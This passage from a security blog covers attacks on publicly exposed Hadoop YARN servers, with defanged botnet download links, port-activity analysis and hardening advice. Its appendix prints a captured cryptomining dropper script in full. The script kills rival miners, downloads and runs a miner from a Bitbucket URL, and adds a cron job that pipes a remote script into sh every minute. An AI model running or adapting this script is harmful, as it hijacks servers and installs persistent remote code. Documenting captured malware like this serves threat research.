Links that are inactive as of this writing:

http://185.244.25[.]153/YSDKOP.x86http://68.183.96[.]48/bins/hoho.x86http://cnc.junoland[.]xyz/x86huahttp://194.147.35[.]63/bins/Kuran.x86http://46.29.165[.]33/bins/kowai.x86http://167.88.161[.]40/bins/mydickhttp://188.138.100[.]8/ankit/jno.x86http://67.205.128[.]131/oxy.x86http://80.211.94[.]16/Nurasu.x86_64;http://46.36.37[.]121/weed.shhttp://142.93.152[.]247/8UsA.sh

Compromised Servers

Knowing the exposed servers, we can assess the activity of that set of servers that were compromised by correlating the server IP with our global deception network activity. Less than 5% of the list of exposed servers overlapped with servers in our deception network and has been seen performing malicious activity. This 5% is not the full picture though, since there is convincing evidence of actors actively abusing the servers for mining cryptocurrencies and because there is no scanning or exploiting activity, these servers do not show up in our deception network. The amount of compromised servers from the potential 1065 is still an unknown, but it is safe to say that at some point, all of those will fall–or have already fallen–victim to malicious activities.

The below graph shows the activity per port of known compromised servers. The activities target TCP ports 23, 2323, 22, and 2222 which are representative for your run-of-the-mill IoT exploits through telnet and SSH credential brute forcing. The other notorious port 5555 is known for TR069 and ADB exploits on IoT vulnerable devices. In the past 7 days, we witnessed an increased scanning activity targeting port 23.

This Mirai-like port 23 scanning behavior was mostly originating from a single server, good for over 35,000 scanning events during the last 7 days. The other compromised servers were good for a couple of events during limited time ranges.

In terms of regional targeting by compromised servers, Germany took most of the hits.

When…Not If

Although there is clear evidence of DDoS capable botnets attempting to compromise Hadoop YARN exposed servers, there was no immediate evidence of DDoS activity by the compromised servers. This does not eliminate the possibility and potential of DDoS attacks, however. The attack surface is just a little over 1065 servers. Compared to IoT botnets, who can run in the hundreds of thousands of devices, this seems of little threat. However, Hadoop (and cloud servers in general) provides much better connectivity and far more compute resources compared to IoT devices; only a few of these servers in a botnet can cause severe disruption to online businesses.

For those that are operating Hadoop clusters, a publicly exposed YARN service can and will at some point be exploited and abused for cryptomining. Besides affecting stability and performance, cloud servers with elastic compute resources can have an economic impact on the victim because of the surge in resource utilization.

Do note that you cannot get away with publicly exposed services, it is not a matter of IF but a matter of WHEN your service will be compromised and abused. In today’s Internet, cloud servers can perform full internet port scans in minutes, and application vulnerability scans in less than a day. For those of you who are not convinced yet, pay a visit to one of the (IoT) search engines such as https://shodan.io or https://fofa.so, who on a daily basis scan and scrape internet connected devices. Just type ‘jetty’ in the search field of those search engines and witness how many servers are indexed and easily discovered within seconds.

(*1) Hadoop YARN Exploits

(*2) zz.sh script

#!/bin/bashpkill -f donatepkill -f proxkekmanpkill -f 158.69.133.18pkill -f 192.99.142.246pkill -f test.confpkill -f /var/tmp/applepkill -f /var/tmp/bigpkill -f /var/tmp/smallpkill -f /var/tmp/catpkill -f /var/tmp/dogpkill -f /var/tmp/mysqlpkill -f /var/tmp/sishenpkill -f ubyxpkill -f /var/tmp/mysqlrm -rf /var/tmp/mysqlps ax | grep java.conf | grep bin | awk '{print $1}' | xargs kill -9ps ax|grep "./noda\|./manager"|grep sh|grep -v grep | awk '{print $1}' | xargs kill -9ps ax|grep "./no1"|grep -v grep | awk '{print $1}' | xargs kill -9ps ax|grep "./uiiu"|grep -v grep | awk '{print $1}' | xargs kill -9ps ax|grep "./noss"|grep -v grep | awk '{print $1}' | xargs kill -9ps ax|grep "8220"|grep -v grep | awk '{print $1}' | xargs kill -9pkill -f cpu.cpkill -f tes.confpkill -f pspingps ax | grep cs.c | grep bin | awk '{print $1}' | xargs kill -9ps ax | grep -- "-c cs" | awk '{print $1}' | xargs kill -9ps ax | grep -- "-c pcp" | awk '{print $1}' | xargs kill -9ps ax | grep -- "-c omo" | awk '{print $1}' | xargs kill -9pkill -f /var/tmp/java-cpkill -f pscfpkill -f cryptonightpkill -f sustespkill -f xmrigpkill -f xmr-stakpkill -f suppoieps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9ps aux | grep "/lib/systemd/systemd" | awk '{if($3>20.0) print $2}' | xargs kill -9ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9rm -rf /var/tmp/pscf*rm -rf /tmp/pscf*pkill -f ririgrm -rf /var/tmp/ntpdpkill -f /var/tmp/ntpdrm -rf /var/tmp/ntppkill -f /var/tmp/ntprm -rf /var/tmp/qqrm -rf /var/tmp/qq1pkill -f /var/tmp/qqrm -rf /tmp/qqrm -rf /tmp/qq1pkill -f /tmp/qqpkill -f /var/tmp/aarm -rf /var/tmp/aarm -rf /var/tmp/ggrm -rf /var/tmp/gg1pkill -f gg1.confrm -rf /var/tmp/hhrm -rf /var/tmp/hh1pkill -f hh1.confpkill -f apaqirm -rf /var/tmp/apaqipkill -f dajibarm -rf /var/tmp/dajiba

pkill -f /var/tmp/lookrm -rf /var/tmp/lookpkill -f /var/tmp/nginxrm -rf /var/tmp/nginxrm -rf /var/tmp/ddrm -rf /var/tmp/dd1rm -rf /var/tmp/applepkill -f dd1.confpkill -f kkk1.confpkill -f ttt1.confpkill -f ooo1.confpkill -f ppp1.confpkill -f lll1.confpkill -f yyy1.confpkill -f 1111.confpkill -f 2221.confpkill -f dk1.confpkill -f kd1.confpkill -f mao1.confpkill -f YB1.confpkill -f 2Ri1.confpkill -f 3Gu1.conf

pkill -f crantDIR="/tmp"if [ -a "/tmp/java" ]thenif [ -w "/tmp/java" ] && [ ! -d "/tmp/java" ]thenif [ -x "$(command -v md5sum)" ]thensum=$(md5sum /tmp/java | awk '{ print $1 }')echo $sumcase $sum in71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)echo "Java OK";;*)echo "Java wrong"rm -rf /tmp/javapkill -f w.confsleep 4;;esacfiecho "P OK"elseDIR=$(mktemp -d)/tmpmkdir $DIRecho "T DIR $DIR"fielseif [ -d "/var/tmp" ]thenDIR="/var/tmp"fiecho "P NOT EXISTS"fiif [ -d "/tmp/java" ]thenDIR=$(mktemp -d)/tmpmkdir $DIRecho "T DIR $DIR"fiWGET="wget -O"if [ -s /usr/bin/curl ];thenWGET="curl -o";fiif [ -s /usr/bin/wget ];thenWGET="wget -O";fi

downloadIfNeed(){if [ -x "$(command -v md5sum)" ]thenif [ ! -f $DIR/java ]; thenecho "File not found!"downloadfisum=$(md5sum $DIR/java | awk '{ print $1 }')echo $sumcase $sum in71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)echo "Java OK";;*)echo "Java wrong"sizeBefore=$(du $DIR/java)if [ -s /usr/bin/curl ];thenWGET="curl -k -o ";fiif [ -s /usr/bin/wget ];thenWGET="wget --no-check-certificate -O ";fiecho "" > $DIR/tmp.txtrm -rf $DIR/javadownload;;esacelseecho "No md5sum"downloadfi}

download() {if [ -x "$(command -v md5sum)" ]thensum=$(md5sum $DIR/pscf3 | awk '{ print $1 }')echo $sumcase $sum in71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)echo "Java OK"cp $DIR/pscf3 $DIR/java;;*)echo "Java wrong"download2;;esacelseecho "No md5sum"download2fi}

download2() {$WGET $DIR/java https://bitbucket.org/zrundr42/mygit/raw/master/x_64

if \[ -x "$(command -v md5sum)" \]  
then  
    sum=$(md5sum $DIR/java | awk '{ print $1 }')  
    echo $sum  
    case $sum in  
        71849cde30470851d1b2342ba5a5136b | b00f4bbd82d2f5ec7c8152625684f853)  
            echo "Java OK"  
            cp $DIR/java $DIR/pscf3  
        ;;  
        \*)  
            echo "Java wrong"  
        ;;  
    esac  
else  
    echo "No md5sum"  
fi

}

netstat -antp | grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9if [ "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110\|192.99.142.225\|192.99.142.246\|46.4.200.177\|192.99.142.250\|46.4.200.179\|192.99.142.251\|46.4.200.178\|159.65.202.177\|185.92.223.190\|222.187.232.9\|78.46.89.102'|grep 'ESTABLISHED'|grep -v grep)" ];thenps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read prociddokill -9 $prociddoneelseecho "Running"fi

if [ ! "$(ps -fe|grep '/tmp/java'|grep 'w.conf'|grep -v grep)" ];thendownloadIfNeedchmod +x $DIR/java$WGET $DIR/w.conf https://bitbucket.org/zrundr42/mygit/raw/master/w.confnohup $DIR/java -c $DIR/w.conf > /dev/null 2>&1 &sleep 5rm -rf $DIR/w.confelseecho "Running"fi

if crontab -l | grep -q "46.249.38.186"thenecho "Cron exists"elseecho "Cron not found"LDR="wget -q -O -"if [ -s /usr/bin/curl ];thenLDR="curl";fiif [ -s /usr/bin/wget ];thenLDR="wget -q -O -";fi(crontab -l 2>/dev/null; echo "* * * * * $LDR http://46.249.38.186/cr.sh | sh > /dev/null 2>&1")| crontab -fi

Originally published at blog.radware.com on November 15, 2018.